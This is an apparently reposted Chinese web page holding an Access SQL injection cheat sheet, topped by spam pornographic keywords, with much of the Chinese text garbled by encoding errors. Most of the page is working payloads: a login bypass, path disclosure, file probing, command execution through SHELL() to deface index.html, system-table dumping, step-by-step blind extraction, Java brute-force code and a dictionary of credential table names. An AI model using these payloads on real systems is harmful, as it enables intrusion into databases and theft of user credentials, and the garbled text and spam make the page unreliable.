欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

整理比較全的Access SQL注入?yún)⒖?/h1>
 更新時(shí)間:2008年05月31日 22:43:14   作者:  
不知誰(shuí)整理的access sql注入資料比較全

Access SQL注入?yún)⒖?/FONT>

版本 0.2.1
(最近更新 10/10/2007)
原作者不詳

描述 SQL查詢(xún)及注釋
注釋符 Access中沒(méi)有專(zhuān)門(mén)的注釋符號(hào).因此"/*", "--"和"#"都沒(méi)法使用.但是可以使用空字符"NULL"(%00)代替:
  • ' UNION SELECT 1,1,1 FROM validTableName%00

語(yǔ)法錯(cuò)誤信息 "[Microsoft][Driver ODBC Microsoft Access]"
多句執(zhí)行 不支持.
聯(lián)合查詢(xún) Access支持聯(lián)合查詢(xún),UNION后的FROM關(guān)鍵字必須使用一個(gè)已經(jīng)存在的表名.
附屬查詢(xún) Access支持附屬查詢(xún)(例如:"TOP 1"用來(lái)返回第一行的內(nèi)容) :
  • ' AND (SELECT TOP 1 'someData' FROM validTableName)%00
LIMIT支持 LIMIT不被支持,但是在查詢(xún)中可以聲明"TOP N"來(lái)限制返回內(nèi)容的行數(shù):
  • ' UNION SELECT TOP 3 AttrName FROM validTableName%00 : 這條語(yǔ)句返回(前)3 行.
讓查詢(xún)返回0行 在腳本在返回的HTML結(jié)果中只顯示第一個(gè)查詢(xún)的結(jié)果的時(shí)候非常有用:
  • ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName%00
字符串連接 不支持CONCAT()函數(shù). 可以使用"&"或"+"操作來(lái)倆接兩個(gè)字符串.在使用的時(shí)侯必須對(duì)這兩個(gè)操作符進(jìn)行URLencode編碼:
  • ' UNION SELECT 'web' %2b 'app' FROM validTableName%00 : 返回"webapp"

  • ' UNION SELECT 'web' %26 'app' FROM validTableName%00 : 返回"webapp"
子字符串 MID()函數(shù):
  • ' UNION SELECT MID('abcd',1,1) FROM validTableName%00 : 返回 "a"
  • ' UNION SELECT MID('abcd',2,1) FROM validTableName%00 : 返回 "b"
字符串長(zhǎng)度 LEN()函數(shù):
  • ' UNION SELECT LEN('1234') FROM validTableName%00 : 返回 4
暴WEB路徑 可以通過(guò)對(duì)一個(gè)不存在的庫(kù)進(jìn)行SELECT操作.Access將會(huì)回應(yīng)一條包含有完整路徑的錯(cuò)誤信息.:
  • ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00
取字符的ASCII值 ASC()函數(shù):
  • ' UNION SELECT ASC('A') FROM ValidTable%00 :返回65 ('A'的ASCII值)
ASCII值轉(zhuǎn)換為字符 CHR()函數(shù):
  • ' UNION SELECT CHR(65) FROM validTableName%00 : 返回 'A'
IF語(yǔ)句 可以使用IIF()函數(shù). 語(yǔ)法 : IIF(condition, true, false) :
  • ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName%00 : 返回 'a'
時(shí)間接口 不存在類(lèi)似BENCHMARK()或SLEEP()的函數(shù),但是可以使用大量(高負(fù)載)的查詢(xún)來(lái)達(dá)到這個(gè)效果.點(diǎn)擊這里查看參考.
驗(yàn)證文件是否存在

在注入的時(shí)候使用:

  • ' UNION SELECT name FROM msysobjects IN '\boot.ini'%00 : (如果文件存在)將會(huì)獲得一條錯(cuò)誤信息:it informs that the database format was not recognized.

表名猜解 這里有一個(gè)簡(jiǎn)單的猜解access表名的java代碼.我寫(xiě)他是為了更好的解釋猜解表名的原理:


static private String columnErrorMessage = "...";
static private String accessError = "...";

[...]

public String bruteTableName(Request r) { // 0

   String resp = new String();
   String[] table = { "tab_name1", "tab_name2", ..., "tab_nameN" }; // 1

   for(int i = 0; i < table.length; i++) {

      resp = sendInjection(r, " ' UNION SELECT 1 FROM " + table[i] + "%00"); // 2

      if(resp.contains(columnErrorMessage) || !resp.contains(accessError)) // 3
           return table[i];
   }

   return null;
}

bruteTableName()的參數(shù)是一個(gè)名為"Request"的對(duì)象(見(jiàn)注釋0).這個(gè)例子靠 sendInjection() (見(jiàn)注釋2)嘗試檢測(cè)查詢(xún):

  • ' UNION SELECT 1 FROM table[i]%00

table[i]是表名列表中的一個(gè)元素(見(jiàn)注釋1). 你能在這篇文章的末尾找到一個(gè)小的表名列表.在注釋2處, sendInjection()函數(shù)返回提交注入代碼后的回應(yīng)html代碼.如果resp包含 columnErrorMessage 字符串(見(jiàn)注釋3),恭喜你,你找到了一個(gè)存在的表. columnErrorMessage 是在UNION查詢(xún)中使用了和主查詢(xún)不同的卷數(shù)而返回的錯(cuò)誤信息.如果表不存在,返回的信息將是表不存在,而不是卷的數(shù)目錯(cuò)誤.

列名猜解 需要一個(gè)已知的表名和主查詢(xún)的列的數(shù)目:
  • ' UNION SELECT fieldName[j],1,1,1 FROM validTableName%00

你可以將上面的例子修改一下(將table改為fieldname),如果表不存在,將會(huì)返回一個(gè)列不存在的錯(cuò)誤信息.

繞過(guò)登陸 用戶(hù)名: ' OR 1=1%00 (or " OR 1=1%00)

密碼: (留空)

列名枚舉 按語(yǔ) : 此原理已經(jīng)在JBoss(一個(gè)使用Access存在漏洞的.jsp腳本)上測(cè)試通過(guò) ,但是不敢保證在其他的環(huán)境下同樣可用.

通常情況下,如果存在SQL注入漏洞,當(dāng)你在URL參數(shù)后加一個(gè)"'"后,你將會(huì)得到一些錯(cuò)誤信息,例如:

  • Error (...) syntax (...) query (...) : " Id=0' "
從這個(gè)信息可以得出當(dāng)前表存在一個(gè)列"ID".通常程序員會(huì)使用同樣的URL參數(shù),列名及表名.當(dāng)你知道一個(gè)參數(shù)后,就可以通過(guò)mssql來(lái)枚舉其他表名和列名:
  • ' GROUP BY Id%00

現(xiàn)在你將獲得一個(gè)新的錯(cuò)誤信息,它包含了另一個(gè)新的列名.你可以繼續(xù)像這樣枚舉其他的表名:

  • ' GROUP BY Id, SecondAttrName, ...%00

直到獲取到所有的表名.

與操作系統(tǒng)的交互

這些函數(shù)默認(rèn)不可用

安全提示 可以通過(guò)修改注冊(cè)表來(lái)鎖定一些受爭(zhēng)議的函數(shù)的使用(比如SHELL(),等等...):
  • \\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode

它的默認(rèn)值是2,因此這些函數(shù)默認(rèn)不可用.在下面我將會(huì)向你介紹當(dāng)注冊(cè)表的值被設(shè)置為0的情況.

獲取當(dāng)前目錄 需要一個(gè)已知的表名和主查詢(xún)的列的數(shù)目:
  • ' UNION SELECT CurDir(),1,1 FROM validTableName%00
執(zhí)行系統(tǒng)命令 SHELL()函數(shù)可以用來(lái)執(zhí)行系統(tǒng)命令:
  • ' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')%00

Access的系統(tǒng)表

這些系統(tǒng)表默認(rèn)不可訪(fǎng)問(wèn)

MSysAccessXML 表中包含的列:
  • Id
  • LValue
  • ObjectGuid
  • ObjectName
  • Property
  • Value

MSysACEs 表中包含的列:
  • ACM
  • FInheritable
  • ObjectId
  • SID
MSysObjects 這里可以獲得表名:
  • Connect
  • Database
  • DataCreate
  • DataUpdate
  • Flags
  • ForeignName
  • Id
  • Lv
  • LxExtra
  • LvModule
  • LvProp
  • Name
  • Owner
  • ParentId
  • RmtInfoLong
  • RmtInfoShort
  • Type

這條查詢(xún)可以用來(lái)獲得數(shù)據(jù)庫(kù)中的表名:

  • ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00
Access盲注(這些步驟用來(lái)猜解表的內(nèi)容)
第一步:猜解表名 你可以使用下面提供的字典來(lái)猜解表名.注入查詢(xún)語(yǔ)句:
  • ' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])%00

在提交注入查詢(xún)語(yǔ)句后,如果你獲得的HTML返回和正常頁(yè)面一樣,則表存在.(因?yàn)?"AND 1"對(duì)查詢(xún)沒(méi)有任何影響).

第二步: 猜解列名

在指導(dǎo)表名的情況下,使用如下查詢(xún):
  • ' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)%00

用和第一步同樣的方法判斷列是否存在.

第三步:猜解內(nèi)容的行數(shù) 在進(jìn)一步的行動(dòng)中,你必須知道表中內(nèi)容的行數(shù). 它在下面的查詢(xún)中將被用作"TAB_LEN"變量:
  • ' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)%00

這里的"X" 是大于0的任意值.可以使用老方法來(lái)判斷"X"的準(zhǔn)確值.

第四步:猜解內(nèi)容的長(zhǎng)度

你能通過(guò)以下語(yǔ)句獲取"ATTRIB"列的第一行的內(nèi)容長(zhǎng)度:

  • ' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)%00

可以通過(guò)以下語(yǔ)句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的內(nèi)容的長(zhǎng)度 (這里N的值在2和TAB_LEN(在前面已經(jīng)獲得)之間) :

  • ' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)%00

"KKK" 為大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我們必須選擇一個(gè)特定的行來(lái)猜解.我想到的方法是將之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.當(dāng)然,這里有一個(gè)前提"ATTRIB"必須是主鍵.這里有一個(gè)例子:

A1 A2 A3
1111 2222 3333
0000 4444 oooo
aaaa bbbb cccc

可以這樣獲取第一行的所有內(nèi)容的長(zhǎng)度:

  • ' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)%00

  • ' AND IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)%00

  • ' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)%00

然后就可以這樣獲取第二行的內(nèi)容的長(zhǎng)度(假設(shè)A1為表的主鍵) :

  • ' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
    A1 <>'1111') = KKK, 1, 0)
    %00

  • ' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)
    %00

  • ' AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)
    %00

第三行也一樣:

  • ' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
    A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)
    %00

  • ' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
    %00

  • ' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
    %00

很明顯,在猜解第一行以后的內(nèi)容的長(zhǎng)度(第2到第TAB_LEN行),你必須得到之前所有行的內(nèi)容(你需要把它放在WHERE后).

第五步:猜解內(nèi)容 假設(shè)攻擊者已經(jīng)知道了表和列名,他將使用這樣的查詢(xún):
  • ' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
    ... etc ... ) = CHAR(YYY), 1, 0)%00

"N"是要猜解的行, "XXX""ATTRIBxxx"的第X個(gè)字節(jié), "ATT_key"是表的的主鍵"YYY"是一個(gè)0到255之間的數(shù).(它代表著一個(gè)字符的ASCII碼).這里我們?nèi)稳灰褂们懊嫣岬降姆椒ú陆馄渌械膬?nèi)容.

表名/列名(字典)
表名/列名(字典) 這里是一個(gè)小的表/列名樣本字典,在猜解中也許用的到:
  • account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
  • customers, customer, config, conf, cfg;

  • hash;

  • login, logout, loginout, log;

  • member, memberid;

  • password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;

  • store, store1, store2, store3, store4, setting;

  • username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;

相關(guān)文章

最新評(píng)論